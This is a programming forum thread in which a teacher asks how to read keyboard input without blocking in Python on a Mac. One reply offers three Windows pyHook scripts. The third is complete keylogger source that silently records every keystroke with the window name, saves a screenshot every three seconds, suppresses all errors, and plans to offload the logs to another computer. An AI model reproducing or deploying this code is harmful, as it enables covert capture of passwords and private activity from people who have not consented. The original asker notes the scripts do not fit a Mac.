[npcarp]

Is this hard?

I am introducing Python to my students and want to make a simple, interactive program that will, while it's running, 'listen' for any keyboard events. That is, I don't want to include an 'input' statement - that would pause execution till someone answered. I just want it to keep running, say, printing an 'a' on the screen every 10 seconds, until the user types a 'b'. Then printing a 'b' every 10 seconds till the user types in some other character...

It seems that this should not be hard; something with sys.stdin, perhaps. The hours I've spent on it are getting embarrassing.

I've fooled around with it and looked though books and the only solution I've come up with was to import pygame.py and use its event handling. This seems like massive overkill for what should be an easy matter.

I'm using IDLE with MacPython 2.5.1 on Mac OS 10.4.11

Thanks for any help on this problem.

Neal C.

[Elias Alhanatis]

Hi!

I am realy "out" of this subject , but i stumbled on some scripts that might
help you....

run them , modify them , and hopefully they will work for you....

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1. import pyHook
2. import pygame
3.  
4. # create a keyboard hook
5. def OnKeyboardEvent(event):
6.     print 'MessageName:',event.MessageName
7.     print 'Message:',event.Message
8.     print 'Time:',event.Time
9.     print 'Window:',event.Window
10.     print 'WindowName:',event.WindowName
11.     print 'Ascii:', event.Ascii, chr(event.Ascii)
12.     print 'Key:', event.Key
13.     print 'KeyID:', event.KeyID
14.     print 'ScanCode:', event.ScanCode
15.     print 'Extended:', event.Extended
16.     print 'Injected:', event.Injected
17.     print 'Alt', event.Alt
18.     print 'Transition', event.Transition
19.     print '---'
20.     if event.Key.lower() in ['lwin', 'tab', 'lmenu']:
21.         return False    # block these keys
22.     else:
23.         # return True to pass the event to other handlers
24.         return True
25.  
26. # create a hook manager
27. hm = pyHook.HookManager()
28. # watch for all keyboard events
29. hm.KeyDown = OnKeyboardEvent
30. # set the hook
31. hm.HookKeyboard()
32.  
33. # initialize pygame and start the game loop
34. pygame.init()
35.  
36. while(1):
37.     pygame.event.pump()

Second script:

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1. import pyHook
2. import time
3. import pythoncom
4. def OnKeyboardEvent(event):
5.    print event.Ascii
6. def main():
7.    hm = pyHook.HookManager()
8.    hm.KeyDown = OnKeyboardEvent
9.    hm.HookKeyboard()
10.    while True:
11.      pythoncom.PumpMessages()
12. if __name__ == '__main__':
13.     main()
14.  

script 3

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1. ## Windows Only Script!!!
2. ################################################## ##########################
3. #
4. ## logger.py | 2008-02-04 | Logs keystrokes and screenshots to disk
5. ##
6. ## Copyright (C) 2008, Jack Trades
7. ##
8. ## This program is free software: you can redistribute it and/or modify
9. ## it under the terms of the GNU General Public License as published by
10. ## the Free Software Foundation, either version 3 of the License, or
11. ## (at your option) any later version.
12. ##
13. ## This program is distributed in the hope that it will be useful,
14. ## but WITHOUT ANY WARRANTY; without even the implied warranty of
15. ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16. ## GNU General Public License for more details.
17. ##
18. ## You should have received a copy of the GNU General Public License
19. ## along with this program. If not, see <http://www.gnu.org/licenses/>
20. ##
21. ## Recent Changes:
22. ## Added quality setting to grabScreen
23. ## Wrapped all functions in try/except blocks to silently pass over errors
24. ##
25. ## TODO:
26. ## Write function to send data to secure ftp server in local network
27. ## Write any errors to a text file
28. ################################################## ##########################
29. #
30. ## Requires: pyHook, win32all, PIL
31.  
32. import pyHook
33. import pythoncom
34. import ImageGrab
35. from time import time
36. from threading import Timer
37.  
38.  
39. ################################################## ##########################
40. #
41. ## Start-Up
42. ################################################## ##########################
43. #
44.  
45. ## The full path is required when started automatically through windows registry
46. ## Need to find a fix to allow relative paths (this way is UGLY!)
47. folder = 'C:\\Python25\\'
48.  
49. filename = folder+'daata\\'+str(time()) ## Each program start creates a new file
50. skippedKeys = set( (0,) )
51.  
52. def offloadData():
53.     """Every time the program starts it should offload its log file and
54.     screenshots to another computer. """
55.     pass
56.  
57.  
58. ############################################################################
59. #
60. ## Keylogger
61. ############################################################################
62. #
63. ## The logger skips over keys defined in the global variable *skippedKeys*
64.  
65. def writeData(eventWindow, ascii):
66.     """Appends each keystroke to file *filename* as defined at the top"""
67.     try:
68.         eventTime = time()
69.         f = open(filename, 'a')
70.         f.write(str( (ascii, eventTime, eventWindow) )+',')
71.         f.close()
72.     except:
73.         pass
74.  
75. def onKeyboardEvent(event):
76.     """This function is called by pyHook each time a key is pressed.
77.     It writes the (key,time,window) to the logfile as defined in writeData()
78.     It also skips unnecessary keys (such as shift, ctrl, alt, etc.)"""
79.     try:
80.         eventWindow, ascii = event.WindowName, event.Ascii
81.         if ascii not in skippedKeys: ## skippedKeys is a global variable
82.             ascii = chr(ascii) ## uncomment to store chr(ascii) values
83.             print ascii ## uncomment to print keys toscreen
84.             writeData(eventWindow, ascii)
85.             return True ## passes the event to otherhandlers
86.     except:
87.         return True ## ensures that we pass the key along
88.                     ## even if an error occurs
89.  
90.  
91. ################################################## ##########################
92. #
93. ## Screenshots
94. ################################################## ##########################
95. #
96.  
97. def grabScreen(imageQuality=20):
98.     """Take a screenshot and save it to the folder screens// with filename
99.     time()"""
100.     try:
101.         img = ImageGrab.grab()
102.         img.save(folder+'screens\\'+str(time())+'.jpg', quality=imageQuality)
103.     except:
104.         pass
105.  
106. def startScreenshots(delay=3):
107.     """Takes a screenshot every X seconds using grabScreen()"""
108.     try:
109.         grabScreen()
110.         t = Timer(delay, startScreenshots, [delay])
111.         t.start()
112.     except:
113.         pass
114.  
115. ################################################## ##########################
116. #
117. ## Main
118. ################################################## ##########################
119. #
120.  
121. def run(delay=3):
122.     try:
123. ## Start saving screenshots every X seconds
124.         startScreenshots(delay)
125. ## Setup a HookManager and bind OnKeyboardEvent to HookManager.KeyDown
126.         hm = pyHook.HookManager()
127.         hm.KeyDown = onKeyboardEvent
128.         hm.HookKeyboard()
129. ## Pump keys into HookManager | Does this need a try/except ?
130.         try:
131.             pythoncom.PumpMessages()
132.         except:
133.             pass
134.     except:
135.         pass
136.  
137. if __name__ == '__main__':
138.     try:
139.         run(3) ## Run keylogger with 3 second delay between screenshots
140.     except:
141.         pass

Hope those help!!

Elias

[npcarp]

Originally Posted by Elias Alhanatis

Hi!

I am realy "out" of this subject , but i stumbled on some scripts that might
help you....

run them , modify them , and hopefully they will work for you....

. . .

Hope those help!!

Elias

Thanks, anyway, but these all require Windows (pyHook is Windows-only) and I'm on Mac OS X (10.4.11)

Apparently this is harder in Python than I anticipated. That is, there's no built-in Python word that, unlike «input()» or «raw_input()», will look at the input stream from the keyboard to see if there is anything there without interrupting the program execution and 'waiting' till the user hits a Return or Enter key.

Bummer.